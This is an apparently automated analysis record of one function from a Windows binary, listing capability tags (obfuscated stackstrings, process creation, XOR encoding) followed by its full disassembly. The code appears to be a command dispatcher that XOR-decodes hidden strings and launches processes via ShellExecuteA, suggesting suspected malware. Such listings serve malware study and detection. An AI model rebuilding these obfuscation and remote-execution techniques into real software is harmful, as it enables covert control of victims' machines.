Function at 0x406450
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45c922
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x1e0
mov eax, dword [0x4730bc]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e8], ecx
push 0
push 0x45e707
mov ecx, 0x4734a8
mov dword [ebp - 4], 0
mov byte [0x4734a4], 0
call fcn.004028c0
push 0x1024
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x1024
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
sub esp, 8
mov dword [ebp - 0x1d0], 0x1007370
mov esi, esp
mov dword [ebp - 0x1e0], esp
push 6
push str.remove
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 6
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 6], 0
sub esp, 0xc
mov byte [ebp - 4], 1
mov edx, esp
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x1e4], edx
cmp byte [ebp - 0x1cd], 0
je 0x406548
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
add al, 0x4d
xor byte [ebp + ecx - 0x1d0], al
inc ecx
cmp ecx, 2
jb 0x406530
mov byte [ebp - 0x1cd], 0
lea eax, [ebp - 0x1c9]
mov ecx, edx
push eax
lea eax, [ebp - 0x1ce]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004037e0
mov esi, dword [0x473578]
sub esp, 0x18
mov edx, esp
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [edx], 0
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x1e4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406592
sub ecx, dword [ebp - 0x1e4]
push ecx
push esi
mov ecx, edx
call fcn.00401e80
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0xa8]
push eax
mov byte [ebp - 4], 0
call fcn.0040a220
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x4065c8
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4065d0
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x406619
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40660f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40660f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
push dword [0x473578]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
sub esp, 0x14
mov ecx, edi
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406643
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00401e80
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x1e9]
call fcn.00410dc0
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x406671
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x406675
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x4066be
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4066b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4066b4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x2c], esp
push 1
push 0x45e738
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 3
mov edx, esp
mov ecx, edi
mov dword [edx], 0
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406710
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00401e80
lea eax, [ebp - 0x1dc]
mov byte [ebp - 4], 0
push eax
call fcn.0040b260
add esp, 0x34
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x1dc]
add esp, 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x406759
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x1e4]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x1e4]
je 0x407d90
cmp dword [edi], 0x22
je 0x407d9a
cmp eax, 0x22b
jg 0x4067f1
je case.0x406819.730
cmp eax, 0xa3
jg 0x4067dc
je 0x4067ab
cmp eax, 0x67
je 0x4067ab
cmp eax, 0x71
jne case.0x406819.637
mov eax, dword [ebp - 0x1dc]
add eax, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x4067bc
mov eax, dword [eax]
push eax
call fcn.0040e3c0
add esp, 4
mov byte [0x4734a5], 1
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
sub eax, 0x193
je 0x4067ab
sub eax, 1
je 0x4067ab
mov byte [0x4734a4], 0
jmp 0x4067ab
cmp eax, 0x387
jg 0x407b84
je case.0x406819.701
add eax, 0xfffffd84
cmp eax, 0x91
ja case.0x406819.637
movzx eax, byte [eax + 0x407dc4]
jmp dword [eax*4 + 0x407dac]
mov eax, dword [0x47357c]
inc eax
mov dword [0x47357c], eax
cmp eax, 1
jne 0x4069a1
push 4
call fcn.0045aab6
add esp, 4
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x406854
mov ecx, eax
call fcn.0040e110
mov esi, eax
jmp 0x406856
xor esi, esi
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov word [ebp - 0x1d0], 0x3a
push eax
lea eax, [ebp - 0x1cf]
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004037e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov edi, esp
mov byte [ebp - 4], 6
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
push edi
call fcn.0040f0c0
add esp, 0x1c
mov byte [ebp - 4], 4
lea eax, [ebp - 0x64]
push eax
call fcn.0040b260
add esp, 0x34
mov eax, dword [ebp - 0x64]
mov byte [ebp - 4], 7
cmp eax, 0x47352c
je 0x4068f0
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x4068e1
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x47352c
call fcn.004028c0
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x18]
cmp ecx, 0x473514
je 0x406915
cmp dword [ecx + 0x14], 0x10
mov eax, dword [ecx + 0x10]
jb 0x406906
mov ecx, dword [ecx]
push eax
push ecx
mov ecx, 0x473514
call fcn.004028c0
mov eax, dword [ebp - 0x64]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xa8]
mov ecx, esi
push eax
call fcn.0040e1c0
mov esi, eax
cmp esi, 0x4734fc
je 0x40696d
mov ecx, 0x4734fc
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x4734fc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47350c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0xa8]
call fcn.004014e0
lea ecx, [ebp - 0x64]
mov dword [0x47359c], 0xf1
mov byte [0x4734a4], 1
call fcn.00407e60
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
cmp eax, 2
jne 0x4070b6
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xa8]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 8
jb 0x4069db
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a00
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.00401e80
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xc0]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xb
jb 0x406a56
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a80
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.00401e80
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0xd
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xa8]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xe
jb 0x406ad6
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406b00
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xc0]
call fcn.00401e80
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x10
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x108]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x11
jb 0x406b56
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406b80
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x198]
call fcn.00401e80
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x13
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x1b0]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x14
jb 0x406bd6
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x108], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406c00
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.00401e80
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x16
call fcn.004014e0
mov esi, dword [ebp - 0x1e8]
cmp dword [esi + 0x74], 0x10
lea ecx, [esi + 0x60]
mov edx, dword [ecx + 0x10]
jb 0x406c39
mov ecx, dword [ecx]
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
push edx
cmovae eax, dword [ebp - 0xf0]
push ecx
push dword [ebp - 0xe0]
push eax
call fcn.004040f0
add esp, 0x10
test al, al
jne 0x406e4c
mov ecx, dword [esi + 0x28]
lea edi, [esi + 0x18]
mov eax, closesocket
mov dword [ebp - 0x2c], 0x35372b63
sub eax, ecx
mov word [ebp - 0x28], 0x100
mov dword [ebp - 0x1d0], ecx
cmp eax, 1
jb 0x407da4
cmp dword [edi + 0x14], 0x10
jb 0x406c97
mov edi, dword [edi]
lea edx, [ecx + 1]
mov dword [ebp - 0x90], 0
mov esi, 0xf
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e8], eax
cmp edx, esi
jbe 0x406d12
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x406ce1
mov esi, closesocket
jmp 0x406ceb
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x90]
call fcn.00401530
mov ecx, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x90], eax
push ecx
push edi
push eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x1e8]
add esp, 0xc
mov ecx, dword [ebp - 0x1d0]
mov word [eax + ecx], 0x5f
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
push dword [ebp - 0xe0]
cmovae eax, dword [ebp - 0xf0]
lea ecx, [ebp - 0x90]
push eax
mov byte [ebp - 4], 0x17
call fcn.00407f50
push eax
lea ecx, [ebp - 0x70]
call fcn.004020e0
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x2c]
call fcn.00405550
mov ecx, eax
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
push dword [ebp - 0x60]
cmovae eax, dword [ebp - 0x70]
push eax
push 0
mov byte [ebp - 4], 0x19
call fcn.00409960
push eax
lea ecx, [ebp - 0xa8]
call fcn.004020e0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x70]
call fcn.004014e0
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x16
call fcn.004014e0
cmp dword [ebp - 0x94], 0x10
lea eax, [ebp - 0xa8]
push 1
cmovae eax, dword [ebp - 0xa8]
push 0
push 0
push eax
mov dword [ebp - 0x70], 0x80fe74c0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x6c], 0xd3f1e5e2
mov dword [ebp - 0x68], 0x135c62ac
mov dword [ebp - 0x64], 0x51619d3b
movaps xmm1, xmmword [ebp - 0x70]
push eax
mov dword [ebp - 0x90], 0xee9b04af
mov dword [ebp - 0x8c], 0xd3f1e5e2
mov dword [ebp - 0x88], 0x135c62ac
mov dword [ebp - 0x84], 0x51619d3b
pxor xmm1, xmmword [ebp - 0x90]
push 0
movaps xmmword [ebp - 0x70], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0xa8]
mov byte [0x4734a5], 1
call fcn.004014e0
cmp dword [ebp - 0xc4], 0x10
lea ecx, [ebp - 0xd8]
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xc8]
cmovae ecx, edi
cmp esi, 1
jne 0x406f4f
mov edx, 0x45e6d0
sub esi, 4
jb 0x406e91
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x406e96
add ecx, 4
add edx, 4
sub esi, 4
jae 0x406e80
cmp esi, 0xfffffffc
je 0x406eca
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x406ec3
cmp esi, 0xfffffffd
je 0x406eca
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x406ec3
cmp esi, 0xfffffffe
je 0x406eca
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x406ec3
cmp esi, 0xffffffff
je 0x406eca
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x406eca
sbb eax, eax
or eax, 1
jmp 0x406ecc
xor eax, eax
test eax, eax
jne 0x406f4f
movaps xmm0, xmmword [0x45e8d0]
xor ecx, ecx
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x118], 0xf61a1a5d
movaps xmm0, xmmword [0x45e7f0]
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x114], 0xf4eceee4
movaps xmm0, xmmword [0x45e830]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x110], 0xa6f4e0
mov byte [ebp - 0x10c], 1
mov al, cl
add al, 0x4d
xor byte [ebp + ecx - 0x148], al
inc ecx
cmp ecx, 0x3b
jb 0x406f21
lea eax, [ebp - 0x148]
mov byte [ebp - 0x10c], 0
push eax
call fcn.0040e3c0
add esp, 4
mov byte [0x4734a5], 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x353a3c39
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00405550
mov esi, eax
cmp esi, 0x4735f8
je 0x406fa4
mov ecx, 0x4735f8
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x4735f8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x473608], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
mov ecx, dword [ebp - 0xf4]
mov dword [0x473598], 0xd0035f3
mov byte [0x4734a4], 1
cmp ecx, 0x10
jb 0x406ff7
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406fed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40708b
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x40702d
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407023
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40708b
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x407063
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407059
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40708b
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov eax, dword [ebp - 0xc4]
cmp eax, 0x10
jb 0x40709b
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x407091
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407091
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045aae6
add esp, 8
lea ecx, [ebp - 0xf0]
call fcn.004014e0
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
cmp eax, 3
jne 0x407494
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x353a3c39
mov word [ebp - 0x28], 0x100
call fcn.00408880
push eax
push 0x4735f8
call fcn.00403e70
movzx ecx, byte [0x4734a5]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x473598], 0xd0035f3
push 0xa
movzx eax, cl
cmovne eax, edx
push 0
mov byte [0x4734a5], al
sub esp, 0x18
mov eax, dword [ebp - 0x1dc]
mov ecx, esp
add eax, 0x18
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1a
call fcn.0040b570
add esp, 0xc
mov dword [0x4733d8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1b
jb 0x407176
mov eax, dword [eax]
push eax
mov ecx, 0x47340c
call fcn.004054a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x1b0]
push eax
call fcn.0040f0c0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1c
call fcn.0040b570
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040b650
add esp, 8
mov ecx, 0x47343c
push eax
call fcn.00405460
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1d
jb 0x40721c
mov eax, dword [eax]
push eax
mov ecx, 0x473424
call fcn.004054a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1e
jb 0x40725f
mov eax, dword [eax]
push eax
mov ecx, 0x4733f4
call fcn.004054a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1f
jb 0x4072a4
mov eax, dword [eax]
push eax
mov ecx, 0x473514
call fcn.004054a0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x20
call fcn.0040b570
add esp, 0xc
mov dword [0x4734a0], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x242a2063
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00405550
push eax
mov ecx, 0x4735f8
call fcn.00405460
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x45e890]
lea eax, [ebp - 0x48]
movups xmmword [ebp - 0x180], xmm0
lea ecx, [ebp - 0x180]
mov dword [0x473598], 0x369f
movaps xmm0, xmmword [str.4_pPN_r]
movups xmmword [ebp - 0x170], xmm0
push eax
movaps xmm0, xmmword [0x45e840]
movups xmmword [ebp - 0x160], xmm0
mov dword [0x4735a0], 0x2c5aa
movaps xmm0, xmmword [0x45e8f0]
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x110], 0xa1cbdff9
movaps xmm0, xmmword [0x45e910]
movups xmmword [ebp - 0x140], xmm0
mov word [ebp - 0x10c], 0x100
movaps xmm0, xmmword [0x45e900]
movups xmmword [ebp - 0x130], xmm0
movaps xmm0, xmmword [0x45e8e0]
movups xmmword [ebp - 0x120], xmm0
call fcn.00405590
push eax
mov ecx, 0x473610
call fcn.00405460
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x4734a4], 1
push eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x1d0], 0x1007b04
call fcn.00405510
push eax
mov ecx, 0x4734a8
call fcn.00405460
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x45e880]
xor ecx, ecx
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0xc2a382e
mov dword [ebp - 0x7c], 0x1001b0d
nop word [eax + eax]
mov al, cl
add al, 0x4d
xor byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 0x16
jb 0x407430
lea eax, [ebp - 0x1c9]
mov byte [ebp - 0x79], 0
push eax
lea eax, [ebp - 0x7a]
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0xa8]
call fcn.004037e0
lea eax, [ebp - 0xa8]
mov ecx, 0x4734c0
push eax
call fcn.00405460
lea ecx, [ebp - 0xa8]
call fcn.004014e0
inc dword [0x47357c]
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
cmp eax, 4
je 0x4067cc
lea ecx, [ebp - 0x1dc]
mov byte [0x4734a5], 1
call fcn.00407e60
jmp 0x407d72
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x242a2063
mov word [ebp - 0x28], 0x100
call fcn.00408880
push eax
push 0x4735f8
call fcn.00403e70
movzx ecx, byte [0x4734a5]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x473598], 0x369f
movzx eax, cl
lea ecx, [ebp - 0xa8]
cmovne eax, edx
cmp dword [0x4735a0], 0x2c5aa
movzx eax, al
cmovne eax, edx
push 0x473610
mov byte [0x4734a5], al
call fcn.00402120
lea eax, [ebp - 0xa8]
push 0x473628
push eax
call fcn.00403e40
add esp, 8
mov byte [ebp - 0x1c9], al
lea ecx, [ebp - 0xa8]
call fcn.004014e0
cmp byte [ebp - 0x1c9], 0
je 0x407552
mov byte [0x4734a5], 1
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0xc0]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x21
jb 0x407583
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4075a6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xd8]
call fcn.00401e80
mov ecx, dword [ebp - 0xac]
mov byte [ebp - 4], 0x23
cmp ecx, 0x10
jb 0x4075fc
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4075f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4075f2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
cmp dword [ebp - 0xc4], 0x10
lea eax, [ebp - 0xd8]
mov edi, dword [ebp - 0xd8]
push 8
push str.Req_IDNF
push dword [ebp - 0xc8]
cmovae eax, edi
mov dword [ebp - 0xb0], 0
push eax
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
call fcn.004040f0
add esp, 0x10
test al, al
je 0x407ac9
mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x24
call fcn.0040b570
add esp, 0xc
mov dword [0x4733d8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x25
jb 0x4076bb
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4076c0
sub ecx, esi
push ecx
push edx
mov ecx, 0x47340c
call fcn.004028c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
